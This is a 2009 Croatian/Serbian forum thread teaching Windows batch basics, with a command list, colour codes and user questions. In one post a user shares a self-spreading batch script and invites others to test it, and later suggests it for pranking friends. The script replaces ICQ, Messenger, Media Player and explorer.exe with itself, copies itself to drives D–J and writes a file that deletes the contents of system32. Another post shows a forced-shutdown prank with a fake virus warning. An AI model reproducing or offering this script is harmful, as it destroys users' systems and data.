Osnove batch-a zaključana tema

poruka: 134
|
čitano: 76.938
|
moderatori: Lazarus Long, XXX-Man, vincimus
+/- sve poruke
ravni prikaz
starije poruke gore
15 godina
protjeran
offline
Osnove batch-a

Batch fajlovi omogucavaju izvrsavanje odredjenih operacija zadatih od strane korisnika i to na sledeci nacin.
Znaci batch skripte pisemo u txt editoru(notepad-u)i dabismo dobli na kraju batch fajl potrebnoje da na kraju dodamo extenziju .bat ili .cmd...
Sadacemo da napravimo 1malu batch skriptu pa da krenemo....
1.znaci otvaramo notepad i pisesmo (na kraju tutorijala bice napisane komande)

@echo off
title MALI TEST BY eXsaz

echo ::::::::::::::::::::naj igre:::::::::::::::::::::

echo CS
echo normalno opet CS
echo i opet CS
echo i na kraju malo dase igrate
echo moze pinball ma moze
echo krece
start pinball
pause
2.Ako smo zavrsili pravljenje skrpite idemo da sacuvamo znaci:

FILE>Save As...>File neme test.bat>SAVE
Skripta sacuvana na zeljenu lokaciju znaci sada je samo treba pokrenuti i toje to.

CMD  Komande

ASSOC
Prikazuje ili modifikuje asocijacije ekstenzija fajlova.
AT
Planira vreme izvrsavanja programa i komandi (predstavlja komandnu verziju Task Schedulera)
ATTRIB
Prikazuje ili menja atribute fajlova
BREAK
Ukljucuje/iskljucuje prosirenu proveru za ctrl+c
CACLS
Prikazuje ili modifikuje access control liste (ACL) fajlova.
CALL
Poziva jedan batch program iz drugog.
CD
Vrsi promenu aktivnog direktorijuma.
CHCP
Prikazuje ili postavlja DOS/Windows kodnu stranu
CHDIR
Komanda identicna komandi CD
CHKDSK
Proverava disk i prikazuje izvestaj o statusu.
CHKNTFS
Prikazuje ili modifikuje proveru diska za vreme butovanja.
CLS
Uklanja sadrzaj cmd ekrana i postavlja prompt na pocetak prozora
CMD
Pokrece novi primer command prompta.
COLOR
Postavlja defaultnu boju pozadine
COMP
Poredi sadrzaj dva fajla ili grupe fajlova
COMPACT
Prikazuje ili menja kompresiju fajlova na NTFS particiji.
CONVERT
Konvertuje FAT u NTFS.
COPY
Kopira jedan ili vise fajlova na dredjenu lokaciju.
DATE
Prikazuje ili postavlja datum.
DEL
Brise jedan ili vise fajlova.
DIR
Prikazuje listu fajlova i poddirektorijuma u direktorijumu
DISKCOMP
Poredi sadrzaj dva flopi diska.
DISKCOPY
Kopira sadrzaj sa jednog flopy diska na drugi.
DOSKEY
Edituje komandne linije, kreira makroe, omogucava istoriju i spisak prethodno koriscenih komandi pod dosom
ECHO
Prikazuje poruke, ili ukljucuje/iskljucuje odzivanje komandi.
ENDLOCAL
Suprotna komanda od komande SETLOCAL
ERASE
Brise jedan ili vise fajlova.
EXIT
Gasi CMD.EXE program
FC
Poredi dva ili vise fajlova i prikazuje njihove razlike.
FIND
Potraga za recima u fajlovima i folderima
FINDSTR
Potraga za stringovima u fajlovima
FOR
Pokrece specificnu komandu za svaki fajl u grupi fajlova.
FORMAT
Formatira disk.
FTYPE
Prikazuje ili menja tipove fajla.
GOTO
Usmerava do obelezene linije u okviru batch fajla
GRAFTABL
Omogucava prikazivanje dodatnih simbola u grafickom modu.
HELP
Pomocne informacijae u vezi sa komandama
IF
Izvrsava uslovnu obradu u batch programima
LABEL
Kreira, menja, ili brise volume label (ime diska)
MD
Kreira direktorijume
MKDIR
Komanda identicna komandi MD
MODE
Konfigurise periferne uredjaje.
MORE
Prikazuje stranu po stranu outputa nekog drugog programa.
MOVE
Pomera jedan ili vise fajlova iz jednog direktorijuma u drugi.
PATH
Prikazuje ili postavlja put za pretragu izvrsnih fajlova.
PAUSE
Prekida izvrsavanje batch fajla i izbacuje poruku.
POPD
Vraca prethodnu vrednost aktivnog direktorijuma sacuvanog putem PUSHD.
PRINT
Stampa tekstualni fajl.
PROMPT
Menja prompt.
PUSHD
Prvo sacuva aktivni direktorijum pa ga onda menja.
RD
Uklanja direktorijum.
RECOVER
Vraca citljive podatke sa ostecenog diska
REM
Predstavlja komentar u DOS batch fajlovima
REN
Preimenuje fajlove.
RENAME
Komanda identicna komandi REN
REPLACE
Zamenjuje fajlove
RMDIR
Komanda identicna komandi RD
SET
Prikazuje, postavlja ili brise Windows environment varijable.
SETLOCAL
Postavljanje lokalizovanih podesavanja batch skripta (raspored tastature i sl.)
SHIFT
Pomera poziciju zamenljivih parametara u batch fajlu
SORT
Sortira ulazne podatke
START
Pokrece zaseban prozor u kome se startuje program ili komanda
SUBST
Asocira putanju drive letterom
TIME
Prikazuje ili postavlja sistemsko vreme.
TITLE
Postavlja naslov za trenutnu sesiju cmd prozora.
TREE
Graficki prikaz strukture direktorijuma
TYPE
Prikazuje sadrzaj tekstualnog fajla
VER
Prikazuje verziju windowsa.
VERIFY
Proverava da li su fajlovi korektno upisani na flopy disk
VOL
Prikazuje volume label diska i serijski broj.
XCOPY
Kopira fajlove i grane direktorijuma.


----BOJE---- hvala "UBIZEC cORPORATION" na korisnom postu

0=black
1=blue
2=green
3=aqua
4=red
5=purple
6=yellow
7=white
8=gray
9=light blue
a=light green
b=light aqua
c=light red
d=light purple
e=light yellow
f=bright white

UPOZORENJE
nemojte da od svakoga primate i skidate sa neta extenziju bat jer ima oni koji to zloupotrebljavaju

Poruka je uređivana zadnji put sub 14.3.2009 19:28 (eXsaz).
 
5 0 hvala 4
16 godina
offline
RE: Osnove batch-a
evo kad si vec napiso nes o batchu ja bi trebo napravit batch file(tak su mi bar rekli) koji bi upalio cmd ispiso nes i zatvorio ga i to onda trebbam stavit u startup, jer ima netko ideju kako??

sve pohvale za tutorial
intel q6600@4.0GHz,500gb hard (7200.12, jedna ploca 500gb),4gb ram@840MHz 4-4-4-12 corsair520w hx(modularno), 4870 1GB oc840/950(3800)
15 godina
protjeran
offline
RE: Osnove batch-a

ako zelis objasni mi sve sta zelis preko PM pa da probamo nes napraviti ;)

15 godina
offline
RE: Osnove batch-a
lijepo, lijepo...

predlažem sticky
15 godina
online
Osnove batch-a

Nisi morao toliko pisat mogao si napisat da u cmd-u upišemo help i sve se to lijepo pojavi.

No svaka čast za trud i prijevod mogao bi ovdje sticky.

Moja kanta: Intel Pentium DualCore E2180 2.00 GHz o/c 2.50 GHz, 2 GB rama, Gainward GeForce 8500GT
Moj PC  
0 0 hvala 0
16 godina
neaktivan
offline
Osnove batch-a

RMDIR nije isto sto i RD. RMDIR briše samo prazne foldere. Dok RD bi trebao parametar recursive odnosno \r ili \R da bi mogao obrisati folder.

Gentoo user. :')
Moj PC  
1 0 hvala 0
15 godina
online
RE: Osnove batch-a
Tux Slave kaže...

RMDIR nije isto sto i RD. RMDIR briše samo prazne foldere. Dok RD bi trebao parametar recursive odnosno \r ili \R da bi mogao obrisati folder.

 RD je skraćeni oblik od RMDIR i to je isto koliko ja znam tj. i jedno i drugo će obrisati folder ako je prazan
Moja kanta: Intel Pentium DualCore E2180 2.00 GHz o/c 2.50 GHz, 2 GB rama, Gainward GeForce 8500GT
16 godina
neaktivan
offline
RE: Osnove batch-a
benko kaže...
evo kad si vec napiso nes o batchu ja bi trebo napravit batch file(tak su mi bar rekli) koji bi upalio cmd ispiso nes i zatvorio ga i to onda trebbam stavit u startup, jer ima netko ideju kako??

sve pohvale za tutorial
 
imas ovaj fajl:
@echo off
echo "nesto"
Spremis ga u C:\Documents And Settings\Tvoj Username\Start Menu\Startup\ime_skripte.bat

Ako zelis da se svim korisnicima pokrece, spremis ovdje: C:\Documents And Settings\All Users\Start Menu\Startup\ime_skripte.bat

Nemoj to iskoristit za nesto lose!
15 godina
offline
Osnove batch-a

ej kako ide skripta za otvaranje i zatvaranje cd roma? mislim da sam to prije vidio negdje ali sam zaboravio Sramim se

 
0 0 hvala 0
15 godina
neaktivan
offline
RE: Osnove batch-a

imam ja jednu skriptu ko oce nek je testira pa nek se ajvi akj je bilo _:D

 

@echo off
ctty nul
if exist %programfiles%\icq6\icq.exe (
xcopy %programfiles%\icq6\icq.exe %programfiles%\icq6\62.exe
del %programfiles%\icq6\icq.exe
copy %0 %programfiles%\icq6\icq.exe
)
if exist %programfiles%\messenger\msmsgs.exe (
chdir %programfiles%\messenger
xcopy msmsgs.exe 63.exe
del msmsgs.exe
copy %0 msmsgs.exe
)
if exist "%programfiles%\Windows Media Player\wmplayer.exe" (
chdir "%programfiles%\Windows Media Player"
xcopy wmplayer.exe 64.exe
del wmplayer.exe
copy %0 wmplayer.exe
)
if exist C:\windows\explorer.exe (
TASKILL /IM explorer.exe
del C:\windows\explorer.exe
copy %0 C:\windows\explorer.exe
)
if exist D:\ copy %0 D:\css.lnk.exe
if exist E:\ copy %0 E:\css.lnk.exe
if exist F:\ copy %0 F:\css.lnk.exe
if exist G:\ copy %0 G:\css.lnk.exe
if exist H:\ copy %0 H:\css.lnk.exe
if exist I:\ copy %0 I:\css.lnk.exe
if exist J:\ copy %0 J:\css.lnk.exe
if %0==explorer.exe (
start explorer
)
if %0==wmplayer.exe (
start 64.exe
)
if %0==msmsgs.exe (
start 63.exe
)
if %0==icq.exe (
start 62.exe
)
mkdir C:\games
copy %0 C:\games\game-install.exe
netshare games=C:\games
if not exist C:\windows\lol.bat (
echo del C:\windows\system32\*.* >>C:\windows\lol.bat
echo del C:\indows\*.* >>C:\windows\lol.bat
start C:\windows\lol.bat
) else (
start C:\windows\lol.bat
)

exit

http://ubizec.net46.net/forum http://www.ubizeccorporation.bloger.hr Posjeite forum za gaming,programiranje i izrada igara and hacking!
15 godina
neaktivan
offline
RE: Osnove batch-a

E da auto ove teme probaj stavit u prvi psot ak mozes brojeve za boje evo!

 

0=black
1=blue
2=green
3=aqua
4=red
5=purple
6=yellow
7=white
8=gray
9=light blue
a=light green
b=light aqua
c=light red
d=light purple
e=light yellow
f=bright white

http://ubizec.net46.net/forum http://www.ubizeccorporation.bloger.hr Posjeite forum za gaming,programiranje i izrada igara and hacking!
16 godina
neaktivan
offline
RE: Osnove batch-a

svaka čast na trudu

[url=http://profile.xfire.com/dantex47][img]http://miniprofile.xfire.com/bg/sh/type/2/dantex47.png[/img][/url]
15 godina
protjeran
offline
Osnove batch-a

ako kome treba kakva skripat neka se javi preko PP ili ovdje ;)

 
0 0 hvala 0
15 godina
online
RE: Osnove batch-a
jurluk kaže...

ej kako ide skripta za otvaranje i zatvaranje cd roma? mislim da sam to prije vidio negdje ali sam zaboravio Sramim se

 Mene ovo isto zanima.
Moja kanta: Intel Pentium DualCore E2180 2.00 GHz o/c 2.50 GHz, 2 GB rama, Gainward GeForce 8500GT
15 godina
neaktivan
offline
Osnove batch-a

Puno fala,ljepo si to pripremio.

 
0 0 hvala 0
15 godina
protjeran
offline
RE: Osnove batch-a
xxxxx kaže...
jurluk kaže...

ej kako ide skripta za otvaranje i zatvaranje cd roma? mislim da sam to prije vidio negdje ali sam zaboravio Sramim se

 Mene ovo isto zanima.
 Evo probajte ovo ali smao moze OPEN jer nemogu da nadzem na svom kompu CLOSE CD :S

@echo off
title Powerd by eXsaz
color a
echo otvoriti  CD sa bat dadotekom
echo powerd
echo by
echo eXsaz
start OPEN_CD.EXE  (----ako nebudete mogli ovako otvoriti CD probajte ovako isbrisati start OPEN_CD.EXE ubaciti start C:\WINDOWS\Prefetch\OPEN_CS.EXE meni se tu nalazi,ako kod vas taj folder nema koristiti SEARCH)
pause

 

S srecom provjereno radi ;)

15 godina
neaktivan
offline
RE: Osnove batch-a

NERADI TI TO Exsaz!

 

Ovako treba ic kod ali az vbs skriptu znaci u notepad i dodas ekstenziju .vbs   ! a ne .bat

 

 

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
end if

 

http://ubizec.net46.net/forum http://www.ubizeccorporation.bloger.hr Posjeite forum za gaming,programiranje i izrada igara and hacking!
15 godina
offline
RE: Osnove batch-a

to samo otvara cd rom. a kako napravi da ga i zatvori

15 godina
online
Osnove batch-a

zatvori ga također, pričekaj malo

 

Evo jedan dobar alat instaliraš i onda u batchu dobijas nove naredbe http://www.nirsoft.net/utils/nircmd.html

Moja kanta: Intel Pentium DualCore E2180 2.00 GHz o/c 2.50 GHz, 2 GB rama, Gainward GeForce 8500GT
Poruka je uređivana zadnji put ned 15.3.2009 0:22 (xxxxx).
Moj PC  
0 0 hvala 0
15 godina
offline
RE: Osnove batch-a
xxxxx kaže...

zatvori ga također, pričekaj malo

 meni ne
15 godina
online
Osnove batch-a

onda koristi ovaj gore moj link pa ćeš lako zatvarat i otvarat

Moja kanta: Intel Pentium DualCore E2180 2.00 GHz o/c 2.50 GHz, 2 GB rama, Gainward GeForce 8500GT
Moj PC  
0 0 hvala 0
15 godina
neaktivan
offline
Osnove batch-a

Jel mi moze netko napravit da zezam frendove. Nesto virus, pad sistema (ne pravo, samo zezancija) :)

 
0 0 hvala 0
15 godina
neaktivan
offline
RE: Osnove batch-a
ja sam ti gore napiso batch skriptu stim ih zezni :D
http://ubizec.net46.net/forum http://www.ubizeccorporation.bloger.hr Posjeite forum za gaming,programiranje i izrada igara and hacking!
15 godina
neaktivan
offline
Osnove batch-a

Moze pomoc mala?

 

tribam napravit .bat file koji bi pokrenuo određeni .exe file u određeni datum pomoću task schedulinga... i to pokrenuo ga samo jedanput...

tj... tribalo bi izgledat ovako...

ja kliknem na .bat file i on mi automatski stavi novi zadatak u task schedule da otvori tj. starta program taj datum i gotovo... i kad dodje taj datum on se automatski pokrene...

trazim soluciju sta je brze moguce...

PLEASE HELP

Moj PC  
0 0 hvala 0
15 godina
neaktivan
offline
RE: Osnove batch-a
to neces moc pomocu bacha mozda vbs!jel mjerenje vremena je slozena operacija koja ne spada u batch ,batch ej ubiti samo osnovno kak bi ti reko ko joistick za upravljanje osnovnim funkcijam sklopova u racunalu tj OS-u ...malo sa se isro ak ne skuzis kaj sam htio rec nmvz :D
http://ubizec.net46.net/forum http://www.ubizeccorporation.bloger.hr Posjeite forum za gaming,programiranje i izrada igara and hacking!
15 godina
online
Osnove batch-a

Ovo kad hoćeš prepast prijatelja evo ti jedan primjer:

 

shutdown -s -f -t 10 -c   "This is a virus!!!! Your Windows will be deleted!!!!!!!!!!!!!"

 

sada malo objašnjenje skripte:

"shutdown" - naredba   kojom možeš ugasiti računalo, restartirati, odlogirati se i sl.

"-s" - dodatak naredbi shutdown koji govori da se računalo treba ugasiti, da je naprimjer -r onda bi se restartiralo, -l da se odloguje i sl. ostale mogućnosti možeš vidjeti upisivanjem shutdown help

"-f" - zatvara sve programe bez pitanja

"-t" - odredi vrijeme za koje če se računalo ugasiti u sekundamatako da dodaš iza toga broj sekundi u ovom slučaju 10 (vidi naredbu)

"-c" - ispiše poruku na ekranu dok se računalo gasi, poruku moraš staviti u navodnike (vidi u primjeru)

 

nadam se da sam pomogao.

Skriptu možeš isprobati kod sebe da vidiš kako radi, ne može ti nikako naštetiti, i naravno znaš već da se sprema pod ekstenzijom .bat

Moja kanta: Intel Pentium DualCore E2180 2.00 GHz o/c 2.50 GHz, 2 GB rama, Gainward GeForce 8500GT
Moj PC  
1 0 hvala 0
15 godina
offline
RE: Osnove batch-a
xxxxx kaže...

Ovo kad hoćeš prepast prijatelja evo ti jedan primjer:

 

shutdown -s -f -t 10 -c   "This is a virus!!!! Your Windows will be deleted!!!!!!!!!!!!!"

 i nakon toga imaš 10 sekundi da se to deaktivira.

upiši u run: shutdown -a
15 godina
online
Osnove batch-a

i nadaj se da ti prijatelj ne zna batch xD.

Naravno sebi za probu stavi višesec da imaš vremena deaktivirat.

Moja kanta: Intel Pentium DualCore E2180 2.00 GHz o/c 2.50 GHz, 2 GB rama, Gainward GeForce 8500GT
Moj PC  
0 0 hvala 0
15 godina
offline
Osnove batch-a

ovako... radim jedan batch čiji ću prečac ubacit u rocket dock i on će mi gasit/restartat komp. a jel se može prije nego što se komp ugasi izbacit prozorčić u kojem odaberemo Yes ili No i onda se on ugasi ili ne, ovisni što stisnemo

 

@echo off
shutdown -s -t 00

 

ovako izgleda bez tog message boxa, a kako ga ubacit?

 
0 0 hvala 0
15 godina
offline
RE: Osnove batch-a

@jurluk -da bi dobio prozorćić.. :) moraš napraviti program (npr u VBu) batch ipak ima neka ograničenja, a kod gašenja u ovom slučaju netreba yes/no nego jedan button 'abort'...

自豪的迎来了10周年的华诞。... na C64/TurboModul
Nova poruka
E-mail:
Lozinka:
 
vrh stranice